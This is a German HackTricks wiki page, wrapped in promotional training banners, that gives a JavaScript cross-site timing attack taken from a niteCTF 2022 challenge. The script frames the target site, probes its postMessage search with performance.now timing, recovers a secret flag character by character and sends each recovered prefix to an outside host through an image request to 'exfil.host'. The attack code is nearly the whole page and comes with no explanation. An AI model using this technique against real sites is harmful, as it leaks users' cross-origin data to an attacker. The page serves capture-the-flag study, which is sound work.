# performance.now Beispiel {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} **Beispiel entnommen von [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)** ```javascript const sleep = (ms) => new Promise((res) => setTimeout(res, ms)); async function check(flag) { let w = frame.contentWindow; w.postMessage({'op': 'preview', 'payload': ''}, '*'); await sleep(1); w.postMessage({'op': 'search', 'payload': flag}, '*'); let t1 = performance.now(); await sleep(1); return (performance.now() - t1) > 200; } async function main() { let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}'; window.frame = document.createElement('iframe'); frame.width = '100%'; frame.height = '700px'; frame.src = 'https://challenge.jsapi.tech/'; document.body.appendChild(frame); await sleep(1000); let flag = 'nite{'; while(1) { for(let c of alpha) { let result = await Promise.race([ check(flag + c), new Promise((res) => setTimeout(() => { res(true); }, 300)) ]); console.log(flag + c, result); if(result) { flag += c; break; } } new Image().src = '//exfil.host/log?' + encodeURIComponent(flag); } } document.addEventListener('DOMContentLoaded', main); ``` {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %}